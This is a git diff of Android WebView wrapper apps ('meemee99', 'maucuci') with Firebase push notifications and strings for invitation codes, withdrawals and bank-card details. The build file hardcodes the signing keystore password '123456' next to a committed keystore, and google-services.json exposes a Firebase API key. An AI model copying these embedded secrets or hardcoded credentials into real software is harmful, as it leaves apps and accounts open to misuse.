+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/maucuci/src/main/java/com/xyz/cucimau/WebApplication.java b/maucuci/src/main/java/com/xyz/cucimau/WebApplication.java
new file mode 100644
index 0000000..dc6db3d
--- /dev/null
+++ b/maucuci/src/main/java/com/xyz/cucimau/WebApplication.java
@@ -0,0 +1,18 @@
+package com.xyz.cucimau;
+
+import android.app.Application;
+import android.content.Context;
+
+import java.util.HashMap;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/maucuci/src/main/java/com/xyz/maucuci/MyFirebaseMessageingService.java b/maucuci/src/main/java/com/xyz/maucuci/MyFirebaseMessageingService.java
deleted file mode 100644
index 5ac257a..0000000
--- a/maucuci/src/main/java/com/xyz/maucuci/MyFirebaseMessageingService.java
+++ /dev/null
@@ -1,125 +0,0 @@
-package com.xyz.maucuci;
-
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.PendingIntent;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Build;
-import androidx.annotation.NonNull;
-import androidx.core.app.NotificationCompat;
-import com.google.firebase.messaging.FirebaseMessagingService;
-import com.google.firebase.messaging.RemoteMessage;
-import com.google.gson.Gson;
-import com.web.base.GsonUtils;
-import com.web.base.MessageInfo;
-import java.util.Map;
-import java.util.Random;
-
-public class MyFirebaseMessageingService extends FirebaseMessagingService {
-
- public MyFirebaseMessageingService() {
- }
-
- @Override
- public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
- super.onMessageReceived(remoteMessage);
- Map serviceData = remoteMessage.getData(); //后台推送数据
- if (serviceData != null && serviceData.containsKey("message")) {
- String value = serviceData.get("message");
- Gson gson = new Gson();
- MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
- showNotification(messageInfo);
- } else {
- //收到通知 创建notify
- if (remoteMessage.getNotification() != null) {
- showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
- }
- }
- }
-
- private void showNotification(MessageInfo messageInfo) {
- Intent notifyIntent = new Intent(this, MainActivity.class);
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
- ComponentName launchComponent = null;
- launchComponent = getApplication()
- .getPackageManager()
- .getLaunchIntentForPackage(getApplication().getPackageName())
- .getComponent();
- notifyIntent.setComponent(launchComponent);
- }
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
- notifyIntent.setAction(Intent.ACTION_VIEW);
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
- notifyIntent.putExtra("message", messageInfo);
- PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
- NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- NotificationChannel channelwinway = null;
- NotificationCompat.Builder notificationBuilder = null;
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
- channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
- channelwinway.enableLights(true);
- channelwinway.enableVibration(true);
- notificationManager.createNotificationChannel(channelwinway);
- notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(messageInfo.getTitle())
- .setContentText(messageInfo.getContent())
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- } else {
- notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(messageInfo.getTitle())
- .setContentText(messageInfo.getContent())
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- }
- notificationManager.notify(0, notificationBuilder.build());
- }
-
- private void showNotification(String title, String body) {
- Intent notifyIntent = new Intent(this, MainActivity.class);
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
- ComponentName launchComponent = null;
- launchComponent = getApplication()
- .getPackageManager()
- .getLaunchIntentForPackage(getApplication().getPackageName())
- .getComponent();
- notifyIntent.setComponent(launchComponent);
- }
- notifyIntent.putExtra("message", body);
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
- notifyIntent.setAction(Intent.ACTION_VIEW);
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
- PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
- NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- NotificationChannel channelwinway = null;
- NotificationCompat.Builder notificationBuilder = null;
- MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
- if (messageInfo != null) {
- body = messageInfo.getContent();
- }
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
- channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
- channelwinway.enableLights(true);
- channelwinway.enableVibration(true);
- notificationManager.createNotificationChannel(channelwinway);
- notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(title)
- .setContentText(body)
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- } else {
- notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(title)
- .setContentText(body)
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- }
- notificationManager.notify(0, notificationBuilder.build());
- }
-}
diff --git a/meemee99/.gitignore b/meemee99/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/meemee99/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/meemee99/build.gradle b/meemee99/build.gradle
new file mode 100644
index 0000000..6f24282
--- /dev/null
+++ b/meemee99/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.meemee99"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "ireutireirfjfdhgjhgfjf"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/meemee99/google-services.json b/meemee99/google-services.json
new file mode 100644
index 0000000..1a91611
--- /dev/null
+++ b/meemee99/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "457602429004",
+ "project_id": "mee99-3f37f",
+ "storage_bucket": "mee99-3f37f.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:457602429004:android:7076be0e3b9b3389ec44e9",
+ "android_client_info": {
+ "package_name": "com.xyz.meemee99"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyDoT2ZpxJ3PHwGB_ldbbFRkH0WNFb466AM"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/meemee99/justlet.jks b/meemee99/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/meemee99/justlet.jks differ
diff --git a/meemee99/proguard-rules.pro b/meemee99/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/meemee99/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/meemee99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/meemee99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/meemee99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/meemee99/src/main/AndroidManifest.xml b/meemee99/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..3f63d1f
--- /dev/null
+++ b/meemee99/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/meemee99/src/main/java/com/xyz/meemee99/MainActivity.java b/meemee99/src/main/java/com/xyz/meemee99/MainActivity.java
new file mode 100644
index 0000000..00da13f
--- /dev/null
+++ b/meemee99/src/main/java/com/xyz/meemee99/MainActivity.java
@@ -0,0 +1,82 @@
+package com.xyz.meemee99;
+
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+
+import com.web.base.LogUtils;
+import com.web.base.MainActivity2;
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class MainActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo")
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/meemee99/src/main/java/com/xyz/meemee99/MyFirebaseMessageingService.java b/meemee99/src/main/java/com/xyz/meemee99/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..9c68285
--- /dev/null
+++ b/meemee99/src/main/java/com/xyz/meemee99/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.meemee99;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/meemee99/src/main/java/com/xyz/meemee99/WebApplication.java b/meemee99/src/main/java/com/xyz/meemee99/WebApplication.java
new file mode 100644
index 0000000..4738936
--- /dev/null
+++ b/meemee99/src/main/java/com/xyz/meemee99/WebApplication.java
@@ -0,0 +1,18 @@
+package com.xyz.meemee99;
+
+import android.app.Application;
+import android.content.Context;
+
+import java.util.HashMap;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/meemee99/src/main/res/drawable/big_bg.xml b/meemee99/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/meemee99/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/meemee99/src/main/res/mipmap-xxhdpi/app_logo.jpg b/meemee99/src/main/res/mipmap-xxhdpi/app_logo.jpg
new file mode 100644
index 0000000..7a783f4
Binary files /dev/null and b/meemee99/src/main/res/mipmap-xxhdpi/app_logo.jpg differ
diff --git a/meemee99/src/main/res/values-en/strings.xml b/meemee99/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/meemee99/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/meemee99/src/main/res/values-night/themes.xml b/meemee99/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/meemee99/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/meemee99/src/main/res/values/app_config.xml b/meemee99/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..28ff8ec
--- /dev/null
+++ b/meemee99/src/main/res/values/app_config.xml
@@ -0,0 +1,18 @@
+
+
+
+
+ MeeMee99
+
+ 232
+
+ https://www.meemee99.com/
+
+ 1
+
+ 1
+
+ #000000
+
+ #000000
+
\ No newline at end of file
diff --git a/meemee99/src/main/res/values/colors.xml b/meemee99/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/meemee99/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/meemee99/src/main/res/values/strings.xml b/meemee99/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/meemee99/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/meemee99/src/main/res/values/themes.xml b/meemee99/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/meemee99/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
